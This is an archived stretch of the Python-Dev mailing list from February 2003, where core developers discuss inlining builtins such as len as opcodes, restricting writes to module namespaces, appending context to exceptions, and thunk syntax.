<15934.57077.190775.561526@montanaro.dyndns.org> Guido> And I suggest that we analyze pystone (or whatever benchmark we Guido> decide to use). If you decide to use pystone, I'd argue you incorporate psyco into the distribution and stick the following code right after the definition of Proc8: try: import psyco except ImportError: pass else: psyco.bind(Proc8) (I believe that's the correct psyco call and the correct function to optimize. It's been awhile.) ;-) Skip From guido@python.org Mon Feb 3 21:29:25 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 16:29:25 -0500 Subject: [Python-Dev] Idea for avoiding exception masking In-Reply-To: Your message of "Tue, 28 Jan 2003 19:22:34 EST." <009401c2c72c$8628bb60$e60ea044@oemcomputer> References: <009401c2c72c$8628bb60$e60ea044@oemcomputer> Message-ID: <200302032129.h13LTQO22255@odiug.zope.com> > When working on the sets module, a bug was found > where trapping an exception (a TypeError for a mutable > argument passed to a dictionary) resulted in masking > other errors that should have been passed through > (potential TypeErrors in the called iterator for example). > > Now, Walter is working on a bug for map(), zip(), and > reduce() where errors in the getiter() call are being > trapped, reported as TypeError (for non-iterability), > but potentially masking other real errors in > a __iter__ routine. The current proposed solution is > to remove the PyErr_Format call so that the underlying > error message gets propagated up its original form. > The downside of that approach is that it loses information > about which argument caused the error. > > So, here's the bright idea. Add a function, > PyErr_FormatAppend, that leaves the original message > intact but allows additional information to be added > (like the name of the called function, identification > of which argument triggered the error, a clue as > to how many iterations had passed, or anything else > that makes the traceback more informative). > > Python code has a number of cases where a higher > level routine traps an exception and reraises it with > new information and losing the lower level error > detail in the process. Was a conclusion reached in this thread? It seems a good idea. --Guido van Rossum (home page: http://www.python.org/~guido/) From jeremy@zope.com Mon Feb 3 21:29:07 2003 From: jeremy@zope.com (Jeremy Hylton) Date: Mon, 3 Feb 2003 16:29:07 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032037.h13Kb4621770@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> Message-ID: <15934.57123.115582.954716@slothrop.zope.com> My recollection from Skip's rattlesnake paper and from a similar paper about peephole optimizations in Interlisp is that we'll see perhaps a 5-10% speedup by focusing on the small stuff. I expect that the builtin-specific opcodes will do more than that, but the module-level namespace still ends up being expensive to use and arbitrary module globals are probably called as often as any other global. It'd be interesting to measure how many of the LOAD_GLOBAL calls are for builtin names using some simple benchmarks. Jeremy From altis@semi-retired.com Mon Feb 3 21:31:19 2003 From: altis@semi-retired.com (Kevin Altis) Date: Mon, 3 Feb 2003 13:31:19 -0800 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032117.h13LHvF22127@odiug.zope.com> Message-ID: > From: Guido van Rossum > > > I meant continuing work started by Ping, Jeremy, and you on non-local > > namespaces (something other than dicts). Tim's suggestion of optimizing > > function calls sounds like another good one. > > Ah, you mean these: > > - PEP 266 Optimizing Global Variable/Attribute Access Montanaro > PEP 267 Optimized Access to Module Namespaces Hylton > PEP 280 Optimizing access to globals van Rossum > > Yes, that would be a good idea too. > > And I suggest that we analyze pystone (or whatever benchmark we decide > to use). Don't forget Marc-Andre Lemburg's pybench http://www.egenix.com/files/python/ http://www.egenix.com/files/python/pybench-1.0.zip ka From pyth@devel.trillke.net Mon Feb 3 21:40:29 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 22:40:29 +0100 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032116.h13LGDc22113@odiug.zope.com>; from guido@python.org on Mon, Feb 03, 2003 at 04:16:13PM -0500 References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> Message-ID: <20030203224029.G5939@prim.han.de> Guido van Rossum wrote: > > Guido> I was thinking of adding appropriate new opcodes for a few > > Guido> builtins that are called a lot, like len. This would be > > Guido> implemented using something like this: > > > > Guido> case BUILTIN_LEN: > > ... > > > > Would you special case those calls so that, in effect, __builtin__.len > > couldn't be overridden by a "len" object in the globals or locals? > > No, I would only generate a BUILTIN_LEN opcode if there was no local > or global variable 'len'. > > A few days ago I proposed a restriction on assigning to an attribute > of a module that stores a new name in that module that is the same as > the name of a built-in; that was meant to outlaw people doing ugly > stuff like > > import random > random.len = lambda x: len(x)-1 > print random.choice([1,2,3]) > > and expecting to affect the implementation of choice(). > > I don't think anybody would do this on purpose (or even by accident), > but the possibility exists, and I'd prefer to live without lying awake > about that case. > > (We could make random.__dict__ read-only, like the new-style class > __dict__, if you worry about other ways of stuffing unexpected > variables inside it. do you mean specifically random.__dict__ or any modules dict? If the latter there would be quite some breakage. It is at least used for monkey patching modules to make them "unittestable" which is a valid use case IMO. Maybe module's dicts could be "frozen" by default and this could be explicitely turned off (via a sys-hook). holger From guido@python.org Mon Feb 3 21:58:54 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 16:58:54 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 22:40:29 +0100." <20030203224029.G5939@prim.han.de> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> Message-ID: <200302032158.h13Lwsh22396@odiug.zope.com> > > > Guido> I was thinking of adding appropriate new opcodes for a few > > > Guido> builtins that are called a lot, like len. This would be > > > Guido> implemented using something like this: > > > > > > Guido> case BUILTIN_LEN: > > > ... > > > > > > Would you special case those calls so that, in effect, __builtin__.len > > > couldn't be overridden by a "len" object in the globals or locals? > > > > No, I would only generate a BUILTIN_LEN opcode if there was no local > > or global variable 'len'. > > > > A few days ago I proposed a restriction on assigning to an attribute > > of a module that stores a new name in that module that is the same as > > the name of a built-in; that was meant to outlaw people doing ugly > > stuff like > > > > import random > > random.len = lambda x: len(x)-1 > > print random.choice([1,2,3]) > > > > and expecting to affect the implementation of choice(). > > > > I don't think anybody would do this on purpose (or even by accident), > > but the possibility exists, and I'd prefer to live without lying awake > > about that case. > > > > (We could make random.__dict__ read-only, like the new-style class > > __dict__, if you worry about other ways of stuffing unexpected > > variables inside it. > > do you mean specifically random.__dict__ or any modules dict? Any module's dict. > If the latter there would be quite some breakage. It is at least > used for monkey patching modules to make them "unittestable" which > is a valid use case IMO. Why would this be done by patching the module's __dict__ rather than assigning to attributes of the module? > Maybe module's dicts could be "frozen" by default and this could be > explicitely turned off (via a sys-hook). What I proposed was only closing off write access to the __dict__ so that the setattr code for type module can implement certain restrictions (e.g. no assignment to attributes named "len"). --Guido van Rossum (home page: http://www.python.org/~guido/) From bac@OCF.Berkeley.EDU Mon Feb 3 22:11:51 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 3 Feb 2003 14:11:51 -0800 (PST) Subject: [Python-Dev] Idea for avoiding exception masking In-Reply-To: <200302032129.h13LTQO22255@odiug.zope.com> References: <009401c2c72c$8628bb60$e60ea044@oemcomputer> <200302032129.h13LTQO22255@odiug.zope.com> Message-ID: [Guido van Rossum] > Was a conclusion reached in this thread? It seems a good idea. > Unless I overlooked something when I did the summary for this thread, nope. I think Ping's idea was viewed as good and that is as far as it got. -Brett From bac@OCF.Berkeley.EDU Mon Feb 3 22:16:25 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 3 Feb 2003 14:16:25 -0800 (PST) Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032037.h13Kb4621770@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> Message-ID: [Guido van Rossum] > I was thinking of adding appropriate new opcodes for a few builtins > that are called a lot, like len. This would be implemented using > something like this: > Wasn't there also a suggestion (I think Christian made just before Minimal Python was announced) to have the parser know what built-ins were and thus just inline the code? I think it's time the eval loop and I to get acquianted... -Brett From pyth@devel.trillke.net Mon Feb 3 22:20:51 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 23:20:51 +0100 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032158.h13Lwsh22396@odiug.zope.com>; from guido@python.org on Mon, Feb 03, 2003 at 04:58:54PM -0500 References: <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> Message-ID: <20030203232051.K5939@prim.han.de> Guido van Rossum wrote: > > > (We could make random.__dict__ read-only, like the new-style class > > > __dict__, if you worry about other ways of stuffing unexpected > > > variables inside it. > > > > do you mean specifically random.__dict__ or any modules dict? > > Any module's dict. > > > If the latter there would be quite some breakage. It is at least > > used for monkey patching modules to make them "unittestable" which > > is a valid use case IMO. > > Why would this be done by patching the module's __dict__ rather than > assigning to attributes of the module? I shortcircuited that with a module's readonly __dict__ you couldn't do a setattr on the module anymore. Which is not neccessarily so. thanks, holger From walter@livinglogic.de Mon Feb 3 22:22:53 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Mon, 03 Feb 2003 23:22:53 +0100 Subject: [Python-Dev] Idea for avoiding exception masking In-Reply-To: References: <009401c2c72c$8628bb60$e60ea044@oemcomputer> <200302032129.h13LTQO22255@odiug.zope.com> Message-ID: <3E3EEBBD.8060302@livinglogic.de> Brett Cannon wrote: > [Guido van Rossum] > >>Was a conclusion reached in this thread? It seems a good idea. > > Unless I overlooked something when I did the summary for this thread, > nope. I think Ping's idea was viewed as good and that is as far as it > got. We briefly discussed consequences for the C API and exception normalization. I looked through the source, and on first glance this seems to require more than just a little mindless patch (at least with my knowledge ;)) Bye, Walter Dörwald From jeremy@zope.com Mon Feb 3 22:23:39 2003 From: jeremy@zope.com (Jeremy Hylton) Date: Mon, 3 Feb 2003 17:23:39 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032158.h13Lwsh22396@odiug.zope.com> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> Message-ID: <15934.60395.439261.853916@slothrop.zope.com> >>>>> "GvR" == Guido van Rossum writes: >> do you mean specifically random.__dict__ or any modules dict? GvR> Any module's dict. >> If the latter there would be quite some breakage. It is at least >> used for monkey patching modules to make them "unittestable" >> which is a valid use case IMO. GvR> Why would this be done by patching the module's __dict__ rather GvR> than assigning to attributes of the module? >> Maybe module's dicts could be "frozen" by default and this could >> be explicitely turned off (via a sys-hook). GvR> What I proposed was only closing off write access to the GvR> __dict__ so that the setattr code for type module can implement GvR> certain restrictions (e.g. no assignment to attributes named GvR> "len"). I'd certainly like that feature, except for the times I'd want to circumvent it. On many occasions I have externally patched a module's namespace for debugging. It's been really convenient to replace some function with a wrapper that does some logging or updates a table tracking currently used resources. I've done the same with builtin open/file. As you noted, it seems less useful to override other builtins for this purpose. I'd suggest that frozen module namespaces by a feature of -O, except that I never use -O. Jeremy From greg@cosc.canterbury.ac.nz Mon Feb 3 22:28:26 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Tue, 04 Feb 2003 11:28:26 +1300 (NZDT) Subject: [Python-Dev] thunks In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: <200302032228.h13MSQV03118@oma.cosc.canterbury.ac.nz> Guido: > If we want to support thunks that blend into the scope of their > environment as well as thunks that introduce a new local scope, here's > one possible way to do it: Do we actually want both kinds of thunk? Why, exactly? Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From greg@cosc.canterbury.ac.nz Mon Feb 3 22:29:32 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Tue, 04 Feb 2003 11:29:32 +1300 (NZDT) Subject: [Python-Dev] thunks In-Reply-To: Message-ID: <200302032229.h13MTWY03140@oma.cosc.canterbury.ac.nz> Roman Suzi : > code_thunk = ``` > if Guido.let_it_fly(): > print "This is my syntax for inline code block" > ``` -1, too ugly! Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From python@rcn.com Mon Feb 3 22:30:38 2003 From: python@rcn.com (Raymond Hettinger) Date: Mon, 3 Feb 2003 17:30:38 -0500 Subject: [Python-Dev] Idea for avoiding exception masking Message-ID: <008301c2cbd3$e0d3a560$550ea044@oemcomputer> [Raymond] > > So, here's the bright idea. Add a function, > > PyErr_FormatAppend, that leaves the original message > > intact but allows additional information to be added > > (like the name of the called function, identification > > of which argument triggered the error, a clue as > > to how many iterations had passed, or anything else > > that makes the traceback more informative). > > > > Python code has a number of cases where a higher > > level routine traps an exception and reraises it with > > new information and losing the lower level error > > detail in the process. [GvR] > Was a conclusion reached in this thread? It seems a good idea. We ended-up with two ways to go: 1. The most lightweight, least invasive approach was one the one first proposed. It allows extra information to be tacked onto the error message string. All other mechanisms work the same way. 2. The more involved approach is keep generate an exception as keep the original one as an attribute, "the root cause". This allows more information to be retained but raises a number of issues about how to display the result, whether the original exception is catchable, whether we want to intercept all exceptions, etc. The first approach is the "simplest thing that could possibly work". It is easy to implement, understand, and use. The second one would need to be teased out a lot more than it has been. Raymond Hettinger From barry@python.org Mon Feb 3 22:31:14 2003 From: barry@python.org (Barry A. Warsaw) Date: Mon, 3 Feb 2003 17:31:14 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> <15934.60395.439261.853916@slothrop.zope.com> Message-ID: <15934.60850.640072.519404@gargle.gargle.HOWL> >>>>> "JH" == Jeremy Hylton writes: JH> On many occasions I have externally patched a module's JH> namespace for debugging. It's been really convenient to JH> replace some function with a wrapper that does some logging or JH> updates a table tracking currently used resources. I've done JH> the same with builtin open/file. As you noted, it seems less JH> useful to override other builtins for this purpose. I've done the same, and when I've needed, it's been incredibly handy. Rare, but useful. Then again, I've also only done this with open(), so maybe something like an open() hook would suffice. I can imagine some of the other built-ins /might/ be useful to debuggingly replace, but that's just speculation on my part, and may be yagni. -Barry From guido@python.org Mon Feb 3 22:36:20 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 17:36:20 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 14:16:25 PST." References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> Message-ID: <200302032236.h13MaKx22964@odiug.zope.com> > Wasn't there also a suggestion (I think Christian made just before > Minimal Python was announced) to have the parser know what built-ins > were and thus just inline the code? Most builtins don't have an inline version unless you add new opcodes that invoke e.g. PyObject_Size. --Guido van Rossum (home page: http://www.python.org/~guido/) From jeremy@zope.com (Jeremy Hylton) Mon Feb 3 22:38:47 2003 From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton) Date: Mon, 3 Feb 2003 17:38:47 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <15934.60850.640072.519404@gargle.gargle.HOWL> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> <15934.60395.439261.853916@slothrop.zope.com> <15934.60850.640072.519404@gargle.gargle.HOWL> Message-ID: <15934.61303.943007.67442@slothrop.zope.com> >>>>> "BAW" == Barry A Warsaw writes: >>>>> "JH" == Jeremy Hylton writes: JH> On many occasions I have externally patched a module's namespace JH> for debugging. It's been really convenient to replace some JH> function with a wrapper that does some logging or updates a JH> table tracking currently used resources. I've done the same JH> with builtin open/file. As you noted, it seems less useful to JH> override other builtins for this purpose. BAW> I've done the same, and when I've needed, it's been incredibly BAW> handy. Rare, but useful. Then again, I've also only done this BAW> with open(), so maybe something like an open() hook would BAW> suffice. I can imagine some of the other built-ins /might/ be BAW> useful to debuggingly replace, but that's just speculation on BAW> my part, and may be yagni. But it is useful for to replace modules. For example, if you want to debug a module that uses the thread module, you can replace it's "thread" global with something that hooks "start_new_thread." I think that pattern is not uncommon. Jeremy From greg@cosc.canterbury.ac.nz Mon Feb 3 22:44:05 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Tue, 04 Feb 2003 11:44:05 +1300 (NZDT) Subject: [Python-Dev] Acquire/release functionality In-Reply-To: <20030203180335.I10804@prim.han.de> Message-ID: <200302032244.h13Mi5u03247@oma.cosc.canterbury.ac.nz> holger krekel : > I haven't found a way to make assignments optional (in recent > experiments). Is this possible with Python's Parser? It should be possible to do it the same way as expressions/assignments are done now, i.e. parse it as with_stmt ::= 'with' ['=' ] ':' and sort it out in the compiler. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From guido@python.org Mon Feb 3 22:45:01 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 17:45:01 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 17:23:39 EST." <15934.60395.439261.853916@slothrop.zope.com> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> <15934.60395.439261.853916@slothrop.zope.com> Message-ID: <200302032245.h13Mj1423001@odiug.zope.com> > GvR> What I proposed was only closing off write access to the > GvR> __dict__ so that the setattr code for type module can implement > GvR> certain restrictions (e.g. no assignment to attributes named > GvR> "len"). > > I'd certainly like that feature, except for the times I'd want to > circumvent it. > > On many occasions I have externally patched a module's namespace for > debugging. It's been really convenient to replace some function with > a wrapper that does some logging or updates a table tracking currently > used resources. I've done the same with builtin open/file. As you > noted, it seems less useful to override other builtins for this purpose. > > I'd suggest that frozen module namespaces by a feature of -O, except > that I never use -O. We really only need to disallow assignment to names that would shadow builtins that are in fact inlined by the compiler. open/file wouldn't be one of these (specifically open/file would be exempted from inlining, and so would __import__, because these are known special cases). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Mon Feb 3 22:48:56 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 17:48:56 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 17:38:47 EST." <15934.61303.943007.67442@slothrop.zope.com> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> <15934.60395.439261.853916@slothrop.zope.com> <15934.60850.640072.519404@gargle.gargle.HOWL> <15934.61303.943007.67442@slothrop.zope.com> Message-ID: <200302032248.h13MmuE23033@odiug.zope.com> > But it is useful for to replace modules. For example, if you want to > debug a module that uses the thread module, you can replace it's > "thread" global with something that hooks "start_new_thread." I think > that pattern is not uncommon. My proposal is to allow rebinding existing globals, just not to allow binding *new* globals *if* they shadow certain builtins. --Guido van Rossum (home page: http://www.python.org/~guido/) From esr@thyrsus.com Mon Feb 3 22:41:25 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Mon, 3 Feb 2003 17:41:25 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <20030203202553.GE5826@thyrsus.com> Message-ID: <20030203224125.GI5826@thyrsus.com> Dan Sugalski : > Seriously, this is something we'll have to work out with the > conference folks. Wouldn't surprise me if they may have someone in > mind, or if not we go with some semi-independent person. (Perhaps > some bitter Lisp hacker that hates all of us because everyone's more > successful than Lisp... :) If you suggest Paul Graham I'm going to have to hurt you. -- Eric S. Raymond From jeremy@zope.com (Jeremy Hylton) Mon Feb 3 22:51:26 2003 From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton) Date: Mon, 3 Feb 2003 17:51:26 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032248.h13MmuE23033@odiug.zope.com> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> <200302032116.h13LGDc22113@odiug.zope.com> <20030203224029.G5939@prim.han.de> <200302032158.h13Lwsh22396@odiug.zope.com> <15934.60395.439261.853916@slothrop.zope.com> <15934.60850.640072.519404@gargle.gargle.HOWL> <15934.61303.943007.67442@slothrop.zope.com> <200302032248.h13MmuE23033@odiug.zope.com> Message-ID: <15934.62062.280898.443157@slothrop.zope.com> >>>>> "GvR" == Guido van Rossum writes: >> But it is useful for to replace modules. For example, if you >> want to debug a module that uses the thread module, you can >> replace it's "thread" global with something that hooks >> "start_new_thread." I think that pattern is not uncommon. GvR> My proposal is to allow rebinding existing globals, just not to GvR> allow binding *new* globals *if* they shadow certain builtins. Oh! +1 on that. just-add-a-future-statement-ly y'rs, Jeremy From esr@thyrsus.com Mon Feb 3 22:51:20 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Mon, 3 Feb 2003 17:51:20 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <20030203202553.GE5826@thyrsus.com> Message-ID: <20030203225120.GJ5826@thyrsus.com> Dan Sugalski : > Seriously, this is something we'll have to work out with the > conference folks. Wouldn't surprise me if they may have someone in > mind, or if not we go with some semi-independent person. (Perhaps > some bitter Lisp hacker that hates all of us because everyone's more > successful than Lisp... :) Huh. You know, it didn't occur to me that bias could be an issue here. Not to worry; if Guido loses, I will be just as snarky at him as I would have been at you. One of the reasons I like Guido is that I am confident he would expect no less of me :-). -- Eric S. Raymond From dan@sidhe.org Mon Feb 3 23:05:16 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 18:05:16 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203224125.GI5826@thyrsus.com> References: <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <20030203202553.GE5826@thyrsus.com> <20030203224125.GI5826@thyrsus.com> Message-ID: At 5:41 PM -0500 2/3/03, Eric S. Raymond wrote: >Dan Sugalski : >> Seriously, this is something we'll have to work out with the >> conference folks. Wouldn't surprise me if they may have someone in >> mind, or if not we go with some semi-independent person. (Perhaps >> some bitter Lisp hacker that hates all of us because everyone's more > > successful than Lisp... :) > >If you suggest Paul Graham I'm going to have to hurt you. Hey, if we can pitch a pie at him regardless of who wins, I'm OK with it. Come to think of it, if you want to host it...: ) -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From jeremy@zope.com Mon Feb 3 23:09:29 2003 From: jeremy@zope.com (Jeremy Hylton) Date: Mon, 3 Feb 2003 18:09:29 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <20030203191711.GA26891@glacier.arctrix.com> Message-ID: <15934.63145.248557.77300@slothrop.zope.com> >>>>> "TP" == Tim Peters writes: TP> [Neil Schemenauer] >> Any opinion on where to spend effort? TP> For real life boosts, function/method calls. Making "len" a TP> builtin wouldn't help so much for saving a couple dict lookups TP> as it would for avoiding the call machinery, and for callees TP> coded in Python that's heavy work. Do you have any ideas? IIRC the largest expense in function calls is setting up the frame object for the new function to use. I don't think there are any low-hanging fruit here, because the frame model is pretty deeply embedded in the interpreter. It seems like all the work in PyEval_EvalCodeEx() has to get done sometime. Jeremy From graham_guttocks@yahoo.co.nz Mon Feb 3 23:13:55 2003 From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=) Date: Tue, 4 Feb 2003 12:13:55 +1300 (NZDT) Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Message-ID: <20030203231355.94559.qmail@web10308.mail.yahoo.com> list-python-dev@ccraig.org (Christopher A. Craig) wrote: > > You've managed to fall in both catagories. Merriam-Webster defines > "constructive" as "promoting improvement or development" and > "promoting" as "to contribute to the growth or prosperity of." And you've managed to convince us that your message has no merit except to demonstrate that you are a sycophant trying to gain favour with the Python developers. I think it's clear given the long, lively, and opinionated discussion that ensued as result of my message, that the issue is not as cut and dry as you indicated. A closed mouth says nothing wrong; a closed mind does nothing right. ===== Regards, Graham http://movies.yahoo.com.au - Yahoo! Movies - What's on at your local cinema? From pedronis@bluewin.ch Mon Feb 3 23:56:15 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 00:56:15 +0100 Subject: [Python-Dev] thunks References: <200302032228.h13MSQV03118@oma.cosc.canterbury.ac.nz> Message-ID: <009a01c2cbdf$d6c25240$6d94fea9@newmexico> From: "Greg Ewing" > Guido: > > > If we want to support thunks that blend into the scope of their > > environment as well as thunks that introduce a new local scope, here's > > one possible way to do it: > > Do we actually want both kinds of thunk? Why, exactly? > The second kind (lambda) are essentially just function objects and their corresponding syntax is just sugar. We need a third too, because 'class' has still different rules wrt scoping. The first kind is needed to do even more general things than what 'with' would allow. From the prososal it seems that now they cannot take parameters. From andrew@indranet.co.nz Tue Feb 4 00:03:34 2003 From: andrew@indranet.co.nz (Andrew McGregor) Date: Tue, 04 Feb 2003 13:03:34 +1300 Subject: [Python-Dev] thunks In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: <253720000.1044317014@localhost.localdomain> --==========1968576916========== Content-Type: 